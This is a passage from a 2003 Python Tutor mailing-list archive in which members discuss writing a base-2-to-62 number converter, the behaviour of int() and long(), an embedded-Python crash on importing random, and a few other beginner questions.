At 23:23 2003-06-19 +0000, cino hilliard wrote:
>I have created a base converter in python to take advantage of the 
>arbitrary integer precision and
>provide an alternative to the one way function of int(s,[radix]) and 
>long(s,[radix]).

I don't really see a reason to duplicate int or long.
Use them if they work! (How often do you need a base
higher than 36? :)

If you want to implement their inverse, i.e. going from a
numeric value to a representation in a given base, it's
much easier if you use a string instead of all that if-stuff.

If you want to go from one string representation to another
it's simple to combine these two functions. I don't see any
gain in implementing both in a single function. (Well, for
fun is a good reason I guess. :)

We can do something like this:

digits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

def numToBase(num, base):
     stack = []
     while num:
         stack.append(digits[num % base])
         num = num // base
     stack.reverse()
     return "".join(stack)

This version only work for positive numbers though.
But it's fairly simple to handle negatives and zero
I think. I leave it as an excise to the reader...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Thu Jun 19 21:10:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 20:10:02 2003
Subject: [Tutor] Attaching methods to class instances
In-Reply-To: <2856.192.207.104.240.1056065891.squirrel@mail.harlekin-mau
 s.com>
Message-ID: <5.2.1.1.0.20030620020757.01f55750@www.thinkware.se>

At 16:38 2003-06-19 -0700, Zak Arntson wrote:
>The new method would ALWAYS return whatever the last value of args[key] was.
>Blech. Hence the addition of _dummy. But is there a cleaner way to do this?

I haven't looked at the deatils, but an idea I thought
about is to use class instances with a __call__ attribute
instead of methods.

I guess a typical heuristic in OO languages is, that you
should use a custom class when the builtin contructs don't
quite fit the bill...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From jeff@ccvcorp.com  Thu Jun 19 21:46:03 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 20:46:03 2003
Subject: [Tutor] RE: Base converter bases 2-62
References: <Law15-F82kluw0WCHBt00014aa3@hotmail.com>
Message-ID: <3EF25933.4010000@ccvcorp.com>

cino hilliard wrote:

> Question. How can I get convert.base(r1,r2,str) without having to type 
> the quotes for the st?
> Eg., convert.base(16,10,FFFF) instead of convert.base(16,10,"FFFF") = 
> 65535 ? This is required only if out of 0 - 9 range. 
> convert(16,10,255) = FF works fine
>
> Jeff Shannon attempted to answer this with no. I am not convinced it 
> cannot be done. In dos the command tail can be mixed and python should 
> be able to read convert.base(16,10,FFFF). I will figure it out and 
> post later. I may have to got the route
> import sys
> r1 = long(sys.argv[1])   #convert the first argument in the command 
> tail to long
> r1 = long(sys.argv[2])   #convert the second argument in the command 
> tail to long
> num = str(sys.argv[3])   #convert the third argument in the command 
> tail to string
> Can't is not in my vocabulary. :-) 


Ah, but arguments to a script (parsed by the OS) are an entirely 
different matter from arguments to a function (parsed by the Python 
interpreter).  Clearly you can write a script that'll do that -- indeed, 
it would probably take extra effort to allow quotes around a script 
parameter.  But parsing a single command line is an entirely separate 
(and much simpler) problem than parsing an entire sourcefile, which may 
contain arbitrary variable names and multi-line statements.

> def base(r1,r2,num):            #convert the string in base r1 to  a 
> string in base r2
>    import math                    #we need this to get the power  of
>    num = str(num)
>    dec = 0                          #Clear to allow loop input per  base
>    ln  = len(num)                 #save length of string to convert 
> for later parsing
>    j=0
>    while j < ln:                     #parse the input string
>        asci = ord(num[j])        #Get the ascii code of the char in 
> string to convert
>        temp   = r1**(ln-j-1)    #Compute the powers of the radix to 
> convert from
>        ascii2 = decimal(asci)     #Get the decimal value of the  ascii 
> code
>        dec += ascii2*temp      #Multiply by decimal value and  power 
> of radix
>        j+=1 


Instead of using this awkward while loop, why not use a for loop?  That 
way you don't need to worry about tracking your index variable.

for j in range(ln):
    asci = ord(num[j])
    temp = r1 ** (ln - j - 1)
    ascii2 = decimal(asci)
    dec += ascii2*temp

You can do the same sort of thing with your other loop, using 
range(int(PWR),-1,-1) to step backwards.

Now, as to your decimal() and ascii() functions...

First, as I described in my other email, "decimal" isn't really an 
appropriate name since the integer you return doesn't really have a base 
(only representations of it do).  More importantly, though, your if/else 
and addition is very unclear.  One would practically need to have an 
ASCII chart in hand to try to figure out what you're up to.

As Magnus mentioned, this can all be done with a string.

 >>> digits = 
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 >>> digits.index('F')
15
 >>>

I can easily convert a character into an integer this way.  Once you 
have the digits string defined (at the top of your module, presumably), 
you can replace any call to decimal(ord(char)) with a call to 
digits.index(char).  So now I can rewrite that loop like this:

for j in range(ln):
    temp = r1 ** (ln - j - 1)
    value = digits.index(num[j])
    dec += value*temp

(Of course, as Magnus pointed out, this whole loop can be easily 
replaced with 'dec = int(num, r1)' as long as you can cope with a 
maximum base of 32....)

The reverse is even easier -- given an integer value, I can get the 
appropriate character to represent it simply by indexing into the string:

 >>> digits[15]
'F'
 >>>

In your second loop, I see that you're using two separate operations to 
get the dividend and the remainder.  This can be done in a single 
operation using the divmod() built-in function.  So with these pieces in 
mind, I can rewrite this:

>    j = int(PWR)
>    while j >= 0:                                    #Divide by 
> descending  powers of the radix to
>        Q   = dec/(r2**j)                          #get the ascii values
>        dec = dec%(r2**j)                       #get the remainder of 
> divison for next division
>        tmp = chr(ascii(Q))
>        RDX = RDX + tmp                         #Concatenate the output 
> string
>        j-=1 


into this:

for j in range(int(PWR), -1, -1):
    Q, dec = divmod(dec, (r2**j))
    RDX += digits[Q]

Jeff Shannon
Technician/Programmer
Credit International





From R. Alan Monroe" <amonroe@columbus.rr.com  Thu Jun 19 21:52:03 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Thu Jun 19 20:52:03 2003
Subject: [Tutor] crash when importing random or sys module, in my  embedded python
In-Reply-To: <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
References: <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec> <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com> <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
Message-ID: <8476878545.20030619205829@columbus.rr.com>

> At 22:30 2003-06-18 -0400, R. Alan Monroe wrote:
>>Yeah I just made a backup then commented out the _verify. It works now

> What if you change %g to %r instead, to show more decimals?
> What will the traceback message be then? If you really have

from random.py source:
def _verify(name, computed, expected):
    if abs(computed - expected) > 1e-7:
        raise ValueError(
            "computed value for %s deviates too much "
            "(computed %r, expected %r)" % (name, computed, expected))

TWOPI = 2.0*_pi
_verify('TWOPI', TWOPI, 6.28318530718)



and the error with %r:
('computed value for TWOPI deviates too much (computed 6.2831854820251465, expected 6.2831853071800001)',)



Alan



From magnus@thinkware.se  Thu Jun 19 22:24:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 21:24:02 2003
Subject: [Tutor] crash when importing random or sys module, in my
 embedded python
In-Reply-To: <8476878545.20030619205829@columbus.rr.com>
References: <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com>
 <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030620031004.01f50998@www.thinkware.se>

At 20:58 2003-06-19 -0400, R. Alan Monroe wrote:
>and the error with %r:
>('computed value for TWOPI deviates too much (computed 6.2831854820251465, 
>expected 6.2831853071800001)',)

That's odd.  That would make pi = 3.1415927410125732
My old school book says that pi = 3.14159265358979323846...

You're quite far off. You don't have any non-standard
math.py that you happen to import, do you?

On my machine 2*pi = 6.2831853071795862

6.2831853071795862 and
6.2831854820251465 are obviously different enough...

Are you sure that "import math; print math.pi*2" gave
the same result as it did for me? In your embedded
version? Is your embedded version somehow using single
precision floating points instead of double?

You don't have anything else in your version of random.py
than "from math import ... pi as _pi ... TWOPI = 2.0 * _pi"
do you?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From R. Alan Monroe" <amonroe@columbus.rr.com  Fri Jun 20 00:13:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Thu Jun 19 23:13:01 2003
Subject: [Tutor] crash when importing random or sys module, in my  embedded python
In-Reply-To: <5.2.1.1.0.20030620031004.01f50998@www.thinkware.se>
References: <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec> <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com> <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>
 <5.2.1.1.0.20030620031004.01f50998@www.thinkware.se>
Message-ID: <817359272.20030619231841@columbus.rr.com>

------------EC5313E3B8CF383
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 8bit

> On my machine 2*pi = 6.2831853071795862


C:\>python
Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import math
>>> math.pi
3.1415926535897931
>>> import random
>>> random.TWOPI
6.2831853071795862
>>> math.pi*2
6.2831853071795862
>>>


> version? Is your embedded version somehow using single
> precision floating points instead of double?

Since the error occurs during "import random", at the very top, I've
not yet defined any variables at all :^)


> You don't have anything else in your version of random.py
> than "from math import ... pi as _pi ... TWOPI = 2.0 * _pi"
> do you?

I didn't see anything...

I'm not too concerned since I have a workaround, but the error is kind
of interesting in its own right :^)

My script is attached.

Here's how I'm embedding it:

Py_Initialize();
themodule = PyImport_ImportModule("vis");
thefunc = PyDict_GetItemString( PyModule_GetDict(themodule), "render");


Alan
------------EC5313E3B8CF383
Content-Type: text/plain; name="vis.py"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="vis.py"

DQojCXVuc2lnbmVkIGxvbmcJTWlsbFNlYzsJCQkvKiBTb25pcXVlIHNldHMgdGhpcyB0byB0aGUg
dGltZSBzdGFtcCBvZiBlbmQgdGhpcyBibG9jayBvZiBkYXRhICovDQojCXVuc2lnbmVkIGNoYXIJ
V2F2ZWZvcm1bMl1bNTEyXTsJLyogU29uaXF1ZSBzZXRzIHRoaXMgdG8gdGhlIFBDTSBkYXRhIGJl
aW5nIG91dHB1dHRlZCBhdCB0aGlzIHRpbWUgKi8NCiMJdW5zaWduZWQgY2hhcglTcGVjdHJ1bVsy
XVsyNTZdOwkvKiBTb25pcXVlIHNldHMgdGhpcyB0byBhIGxvd2ZpZGVseSB2ZXJzaW9uIG9mIHRo
ZSBzcGVjdHJ1bSBkYXRhIA0KIwkJCQkJCQkJCQkgICBiZWluZyBvdXRwdXR0ZWQgYXQgdGhpcyB0
aW1lDQojCQkJCQkJCQkJCSAgIDAgKGJhc3MpIC0+IDI1NSAodHJlYmxlKSAqLw0KDQoNCmltcG9y
dCBzeXMNCg0KdHJ5Og0KICAgIGltcG9ydCByYW5kb20NCmV4Y2VwdCBJbXBvcnRFcnJvciwgZToN
CiAgICBsb2cgPSBvcGVuKCcvYmFkbmV3cy50eHQnLCAndycpDQogICAgbG9nLndyaXRlKCBzdHIo
ZS5hcmdzKSApDQogICAgbG9nLmNsb3NlKCkNCmV4Y2VwdCBWYWx1ZUVycm9yLGU6DQogICAgbG9n
ID0gb3BlbignL2JhZG5ld3MudHh0JywgJ3cnKQ0KICAgIGxvZy53cml0ZSggc3RyKGUuYXJncykg
KQ0KICAgIGxvZy5jbG9zZSgpDQpleGNlcHQ6DQogICAgbG9nID0gb3BlbignL2JhZG5ld3MudHh0
JywgJ3cnKQ0KICAgIGxvZy53cml0ZSgid2hvIGtub3dzXG4iKQ0KICAgIGxvZy53cml0ZSggc3Ry
KHN5cy5leGNfaW5mbygpKSApDQogICAgbG9nLmNsb3NlKCkNCg0KaW1wb3J0IHN0cnVjdA0KDQoN
Cm51bXN0YXJzPTUwDQpkZXB0aD0xMA0Kb2xkd2lkdGg9MA0Kb2xkaGVpZ2h0PTANCnN0YXJzPVtd
DQoNCmRlZiBtYWtlc3RhcnMod2lkdGgsaGVpZ2h0KToNCiAgICBnbG9iYWwgc3RhcnMsZGVwdGgs
bnVtc3RhcnMsb2xkd2lkdGgsb2xkaGVpZ2h0DQogICAgZm9yIGkgaW4gcmFuZ2UobnVtc3RhcnMp
Og0KICAgICAgICB4ID0gW3JhbmRvbS5yYW5kcmFuZ2Uod2lkdGgvLTMsd2lkdGgvMykscmFuZG9t
LnJhbmRyYW5nZShoZWlnaHQvLTMsaGVpZ2h0LzMpLHJhbmRvbS5yYW5kcmFuZ2UoMSxkZXB0aCld
DQogICAgICAgIHN0YXJzLmFwcGVuZCh4KQ0KICAgICAgICAjc3RhcnM9WyBbNTAsMTAsMTAuMF0s
IFsyNTAsMjUwLDUwLjBdLCBbMTUsMTAwLDI1LjBdIF0NCg0KDQpkZWYgcmVuZGVyKHRoZXZpZGVv
LCB0aGV3aWR0aCwgdGhlaGVpZ2h0LCB0aGVwaXRjaCwgdGhldmlzZGF0YSk6DQogICAgI3NvbWV0
aGluZz1Ob25lDQogICAgI3ByaW50IGRpcihyZW5kZXIpDQogICAgdHJ5Og0KICAgICAgICBnbG9i
YWwgc3RhcnMsIG51bXN0YXJzLCBkZXB0aCwgb2xkd2lkdGgsIG9sZGhlaWdodCwgc29tZXRoaW5n
DQoNCiAgICAgICAgaWYgKG9sZHdpZHRoICE9IHRoZXdpZHRoKSBvciAob2xkaGVpZ2h0ICE9IHRo
ZWhlaWdodCk6DQogICAgICAgICAgICBtYWtlc3RhcnModGhld2lkdGgsIHRoZWhlaWdodCkNCiAg
ICAgICAgICAgIG9sZHdpZHRoID0gdGhld2lkdGgNCiAgICAgICAgICAgIG9sZGhlaWdodCA9IHRo
ZWhlaWdodA0KICAgICAgICAgICAgDQogICAgICAgIGZvciBpIGluIHJhbmdlKG51bXN0YXJzKToN
CiAgICAgICAgICAgICNwID0gKG9yZCh0aGV2aXNkYXRhWzQrKGklNTEyKV0pICkNCiAgICAgICAg
ICAgICNvID0gcCBeIDEyOA0KICAgICAgICAgICAgeCA9IHN0YXJzW2ldWzBdDQogICAgICAgICAg
ICB5ID0gc3RhcnNbaV1bMV0NCiAgICAgICAgICAgIGQgPSBzdGFyc1tpXVsyXQ0KICAgICAgICAg
ICAgc2NyZWVueCA9ICh0aGV3aWR0aC8yKSArIGludCAoeCAvIGQpICANCiAgICAgICAgICAgIHNj
cmVlbnkgPSAodGhlaGVpZ2h0LzIpICsgaW50ICh5IC8gZCkNCiAgICAgICAgICAgIGMgPSAyNTUg
LSAoMjUqIGQpDQogICAgICAgICAgICAjcGxvdCh0aGV2aWRlbyx0aGVwaXRjaCxzY3JlZW54LHNj
cmVlbnksIDI1NSwwLDEyOCkNCiAgICAgICAgICAgICNwbG90KHRoZXZpZGVvLHRoZXBpdGNoLHNj
cmVlbngrMSxzY3JlZW55LCAyNTUsMjU1LDI1NSkNCiAgICAgICAgICAgIGZvciBqIGluIHJhbmdl
KDMyKToNCiAgICAgICAgICAgICAgICBwID0gKG9yZCh0aGV2aXNkYXRhWzQrKGoqMyldICkpDQog
ICAgICAgICAgICAgICAgcCA9IHBeMTI4DQogICAgICAgICAgICAgICAgcGxvdCh0aGV2aWRlbyx0
aGVwaXRjaCwoc2NyZWVueCtpbnQoKGovZCkpKS1pbnQoMTYvZCksKHNjcmVlbnkrKGludCgocC8z
KS9kKSkpLTE2LCBjLGMsYykNCg0KICAgICAgICAgICAgc3RhcnNbaV1bMl0gKz0gMC4wNQ0KICAg
ICAgICAgICAgaWYgc3RhcnNbaV1bMl0gPjEwOg0KICAgICAgICAgICAgICAgIHN0YXJzW2ldWzJd
ID0xDQoNCiAgICBleGNlcHQ6DQogICAgICAgIHRoZXZpZGVvWzQ6OF0gPSBzdHJ1Y3QucGFjaygn
NEInLCAwLCAyNTUsIDI1NSwgMCkNCiAgICByZXR1cm4gMA0KDQpkZWYgcGxvdCh0aGV2aWRlbyx0
aGVwaXRjaCx4LHksIHIsZyxiKToNCiAgICBwID0geSp0aGVwaXRjaCArIHgNCiAgICBwID0gcCAq
IDQNCiAgICAjdGhldmlkZW9bMDo0XSA9IHN0cnVjdC5wYWNrKCc0QicsIDI1NSwgMjU1LCAyNTUs
IDI1NSkNCiAgICB0aGV2aWRlb1twOnArNF0gPSBzdHJ1Y3QucGFjaygnNEInLCBiLGcsIHIsIDAp
DQoNCg==

------------EC5313E3B8CF383--



From alan.gauld@blueyonder.co.uk  Fri Jun 20 02:54:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 20 01:54:02 2003
Subject: [Tutor] Attaching methods to class instances
References: <2856.192.207.104.240.1056065891.squirrel@mail.harlekin-maus.com>
Message-ID: <003901c336f0$28ab1ee0$6401a8c0@xp>

Don't know the answer to your Q but one thing jumps out...

> Hello again, more weird object stuff. I've created a class Object 

You probably want to change the name, otherwise you might 
have problems if you try to use the new stuyle classes 
which have to inherit from Pythons 'object' class...

Alan G.



From jyllyj@gcom-cn.com  Fri Jun 20 04:17:01 2003
From: jyllyj@gcom-cn.com (pita)
Date: Fri Jun 20 03:17:01 2003
Subject: [Tutor] about wxpython how to turn off scroll?
Message-ID: <001d01c336fb$beac25f0$fc4ea8c0@pita>

hi there,
wxwindow turn on vertical scrollbar automatic
how can i disable it ?
i'v found splittree demo but it too complex
another popular solution?
(python2.3b,wxpython2.4,MSwindowXp5)






From hillcino368@hotmail.com  Fri Jun 20 04:40:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Fri Jun 20 03:40:02 2003
Subject: [Tutor] built in functions int(),long()+convert.base(r1,r2,num)
Message-ID: <Law15-F19DA1XiHY5Fb0000920c@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_42a_6aca_5f1d
Content-Type: text/plain; format=flowed


Hi Jeff, et al,
Thank for your input and all your work in this list.
I have comments below. Some of the examples will use convert.py and base3.py
Please take no offense at my remarks as I am trying to learn. If i have made 
an unsupportable
claim then a correction of that will reinforce my learning.

Python is a great language and I love not having to fiddle with the variable 
declarations and ; endings
etc that infect other languages like BCX(which I like a lot) Pari script, 
SAS,  and C.   :--)


>From: "Jeff Shannon" <jeff@ccvcorp.com>
>To: tutor@python.org
>CC: cino hilliard <hillcino368@hotmail.com>
>Subject: Re: [Tutor] built in functions int(),long()
>Date: Thu, 19 Jun 2003 11:37:51 -0700

>No, because an integer doesn't have a base associated with it, only the 
>representation does.
Which integer? Python integer sure does. It is base 10.
>
>How many asterisks is this?    *  *  *  *  *  *  *  *  *  *  *  *  *
  How many cows  is this?       cowcowcowcowcowcowcowcowcowcowcowcowcow
>
>"13" in base 10
>"15" in base 8
>"D" in base 16
I challenge you to print "D" asterisks
>"11" in base 12
>"31" in base 4
>"1101" in base 2
>"XIII" in Roman ;)
In fact, I challenge you to print out the *'s for any base other than 10.
obviously it will be *  *  *  *  *  *  *  *  *  *  *  *  * the same as 
above.
Ain't no way around it. It is a matter of having. How many *'s do you have 
in base 4? well lets see.
since you say 31 then 4*3^1 = 1*3^0 = 13 so I have 13 base 10. Certainly, it 
would be a barter
nightmare if farmers represented a different representation of scratches on 
a stone for the same
number of cows in their possession. Conceptual amounts would only be 
attained if an agreed
upon "base" base were chosen. Lets say that base is 17. then  the above 
values except Roman, convert to D in my program. Until we do this we will be 
in chaos not much different to the cardinal
system of some, few, many, very few,zilch  etc.


>
>I use quotes because these are symbols (strings) representing something 
>else (a number) -- but they all represent the *same* number.  A "pure" 
>number doesn't have a base associated with it --
What is a pure number? Pure base 62 is 6176790 base 10.
>the base describes the representation, not the number itself.  The

123 base 10 = 1*10^2+2*10^1+3*10^0;123 base 62 =1*62^2+2*62^1+3*62^0 = 3971 
base 10;
What do you mean? With out a base we cannot express the number. The above 
example obviously
implies that the base x describes the polynomial number = 
a_nx^n+a_n-1x^(n-1)...+a_0x^0.

>int() function (and atoi(), which is really the same thing) will convert a 
>representation (which has a base associated with it) to the underlying 
>number (which has no base).

Balony. The number converted to is base 10 period. Sure it's binary 
internally but to the
viewer it is decimal. That is all the function can do in terms of base 
conversion. I knew that.
The issue is the vague definition which by the way is not life threatning. 
It just ain't clear to me. That
was my point. Read the thing carefully and you will see it too. Don't keep 
snipping it when you try to defend it. In uppercase BELOW I give a more 
precise definition of what python actually does.
Like I said earlier, it is not life threatning.

atoi( s[, base])

Deprecated since release 2.0. Use the int() built-in function.
Convert string s to an integer in the given base. The string must consist of 
one or more digits, optionally

CONVERT A STRING S IN A GIVEN BASE TO AN INTEGER IN BASE 10. Examples,
>>>int('JEFFSHANNON',36)                         #Lowercase converts to 
>>>upper
70932403861357991L                                  #watch out for the L in 
convert.py as it uses it as a digit!

c:\Python23>python base3.py 36 10 JEFFSHANNON
70932403861357991

c:\Python23>python base3.py 10 36 70932403861357991
JEFFSHANNON

c:\Python23>python base3.py 62 10 JeffShannon     #Here we use base 62 to 
allow lowercase.
16497269374220967401

Notice we dont have to put the value string in quotes.

[snip atoi]



int( x[, radix])

Convert a string or number to a plain integer. If the argument is a string, 
it must contain a possibly

CONVERT A STRING OR NUMBER IN BASE RADIX TO A PLAIN INTEGER IN BASE 10. NOTE 
THAT YOU
CANNOT GO THE OTHER WAY - FOR EXAMPLE CONVERT STRING BASE 10 TO BASE 2 IS 
NOT
SUPPORTED.

signed decimal number representable as a Python integer, possibly embedded 
in whitespace; this
behaves identical to string.atoi(x[, radix]). The radix parameter gives the 
base for the conversion and


THE RADIX IS THE BASE WE ARE CONVERTING THE STRING FROM. THE RESULT WILL 
ALWAYS
BE A PYTHON  INTEGER IN BASE 10. YOU CANNOT CONVERT TO ANY OTHER BASE THAN 
10.


Maybe any integer in the range [2, 36], or zero. If radix is zero, the 
proper radix is guessed based on
Hmm.., Example of 0 radix errors out
SyntaxError: invalid syntax
>>>int('JEFFSHANNON',0)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ValueError: invalid literal for int(): JEFFSHANNON
>>>
It appears that a sufficient magnitude in radix is required to avoid errors. 
Radix 29 takes you to letter S,
The largest letter in JEFFSHANNON. Then radix 29-36 will not error on that 
input.

the contents of string; the interpretation is the same as for integer 
literals. If radix is specified and x is
not a string, TypeError is raised. Otherwise, the argument may be a plain or 
long integer or a floating
point number. Conversion of floating point numbers to integers truncates 
(towards zero). If the
argument is outside the integer range a long object will be returned 
instead.

>What has you confused is that Python, when asked to show you an
I am not confused at what python does. That is obvious. I am confused in how 
your manual
describes it. Ii know what it does. It just doesn't do what you say it is 
supposed to do
the way I read the definition.


>integer, will automatically convert that integer into base 10 for display. 
>However, that's a feature of the display, not of the integer itself -- it 
>just so happens that for humans, base 10 is easiest to read, so Python 
>accommodates us (unless we specifically

Balony. It is easiest to read because we were taught that way. Not because 
we are humans.

>request otherwise, through the use of hex() or similar functions).  Of 
>course, internally the computer will store all integers in binary format 
>(base 2), because that's the way that computers are wired.
>
>>Question. How can I get convert.base(r1,r2,str) without having to type the 
>>quotes for the string?
>>Eg., convert(16,10,FFFF) instead of convert(16,10,"FFFF") = 65535 ?
>
>You can't, because the Python parser would have way of knowing
Of course you can. Change python >>> CONSOLE source to do it like dos. See 
my examples above.

>what's intended -- is FFFF a string? A hexidecimally-represented
what else could FFFF mean in a hex to decimal conversion? Of course it is a 
string to convert to decimal.
it could be represented as a list [15,15,15,15]. In fact the whole 
conversion process could be done this
way albiet a little awkward to read. This way you would never run out of 
characters as you increased the radix.

>integer? A variable?  As a matter of fact, the last is exactly how the 
>parser sees this -- it looks at FFFF as a variable name, and
this is dumb. It should look at it as a string. would require some thinking 
but it should be doable.
Try the dos example below. Obviouslt python is reading the stdin base3.py 
and passing the command
tail to variables r1,r2 and num. Python.exe is smart. it is the >>> console 
that doesn't understand.

c:\Python23>python base3.py 36 10 JEFFSHANNON         Look mom, no quotes.
70932403861357991

perhaps a replaceable parameter scheme def .base(10,16,%num%) means the 
expression entered
into the var num is to read as 'contents of num' This is just me musing. If 
python had var declaration
requirements this would not benecessary but don't do that! I will live with 
convert.base(16,10,'FFFF')!
In fact it is accademic. I like the dos command line approach better. The 
only caveat is that >>> will
evaluate expressions. The current dos version does not. Example
>>>convert.base(10,16,2**256-1)                 See Mom, No quotes here 
>>>either!
0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
>>>
>>>int('0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF',16)
115792089237316195423570985008687907853269984665640564039457584007913129639935L
>>>
>>>2**256-1
115792089237316195423570985008687907853269984665640564039457584007913129639935L

>>>convert.base(10,16,115792089237316195423570985008687907853269984665640564039
457584007913129639935)
0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF   #the 
leading 0 Hmmm...
>>>
starts after 2^64+1 ?
>attempts to look up a value for it (probably resulting in a NameError).  
>You could, in this case, specifically designate that it's a hexidecimal 
>number by typing it as 0xFFFF -- but then, a
Similar to my thought above but do it to the variable in the function 0xnum
>function call is unnecessary.  In order for Python to see it as a string, 
>which is necessary for the general case of converting some arbitrary 
>representation, you need to have quotes.
>
>(I'll refrain from commenting on your code, but it looks very

I apologize for the code getting jumbled due to #comments and also  
duplication. This was sloppy
on my part. See attachments if this is not better.

def base(r1,r2,num):            #convert the string num or expression in 
base r1 to base r2
    import math
    num = str(num)
    dec = 0                       #Clear to allow loop input per base
    ln  = len(num)                #save length of string to convert for 
later parsing
    j=0
    while j < ln:                 #parse the input string
        asci = ord(num[j])        #Get the ascii code of the char in string 
to convert
        temp   = r1**(ln-j-1)     #Compute the powers of the radix to 
convert
        ascii2 = decimal(asci)    #Get the decimal value of the ascii code
        dec += ascii2*temp        #Multiply by decimal value and power of 
radix
        j+=1
    RDX = ""
    PWR = math.log(dec)/math.log(r2)     #Get max power of r2 the radix to 
convert to
    j = int(PWR)
    while j >= 0:                        #Divide by descending powers of the 
radix to
        Q   = dec/(r2**j)                #get the ascii values
        dec = dec%(r2**j)                #get the remainder of divison for 
next division
        tmp = chr(ascii(Q))
        RDX = RDX + tmp                  #Concatenate the output string
        j-=1
    print RDX                            #Return the converted r1 to r2 
radix string

def ascii(Q1):
    if   Q1 < 10:                        # 1-9 = ascii 48 - 57
         Q1+= 48
    else:
         if Q1 > 9 and Q1 < 36:          # A-Z = ascii 65 - 90
              Q1+= 55
         else:
              Q1+= 61                    # a-z = ascii 97 - 122
    return Q1

def decimal(Q1):                         # 1 - 9 < ascii 58
    if   Q1 < 58:
         Q1-= 48
    else:
         if Q1 > 57 and Q1 < 97:         # A - Z < ascii 97
              Q1-= 55
         else:
              Q1-= 61                    # a - z = ascii 97 - 122
    return Q1


#****************************calling python from the command line with args 
*************
#base3.py             call convert def base from the msdos console
#                                                     By Cino Hilliard
#Usage:
#c:\python23\python base3.py r1 r2 num.  For example
#c:\Python23>python base3.py 62 10 2Jst0FwPKm
#31415926535897932
#c:\Python23>python base3.py 16 10 FFFF
#65535
# As you can see, the quotes are not required around the value string.
# However, this technique will not allow evaluation as the >>> mode.
# This can be overcome also if anyone wants to know, I will demonstrate.

from math    import *
from sys     import *
from convert import *
r1 = long(argv[1])   #convert the first argument in the command tail to long
r2 = long(argv[2])   #convert the second argument in the command tail to 
long
num =str(argv[3])    #convert the third argument in the command tail to 
string
base(r1,r2,num)

KUDOS
The conversion of my BCX base to base conversion  routine was straight 
forward to python. Only minor
glitches occured which I was able to iron out. Hmmm... no who's on first 
jokes!

This is not the case in my effort to convert to Pari. Major drawback in 
simple string handling is the hold
up. I am having to go through a convolution with Vec(string)

Cheers and Roebuck.

662042196960720285629

_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail

------=_NextPart_000_42a_6aca_5f1d
Content-Type: text/plain; name="convert.py"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="convert.py"

#convert.py module    convert.base converts bases 2 to 62 ascii 0-9, A-Z,a-z
#Numbers can be arbitrarily large using python's integer arbitrary 
precision.
#usage:
#>>> import convert to start, reload(convert) while editing.
#>>> convert.base(radix1,radix2,value string in radix1)
#Note value string can be an expression.
#Example
#>>> convert.base(62,10,"2Jst0FwPKm")
#31415926535897932
# we can disect this example to verify the algorithm. First note that a 
number base 62
#can be express as a poloynomial in powers of 62 with coefficients a_i.
#y = a_n*62^n+a_n-1*62^(n-1)+...+a_0*62^0. Then in our example, which is of 
length 10, we
# have a 9th degree base 62 polynomial, y = 2*62^9+J*62^8+s*62^7+...+m*62^0. 
Then when we
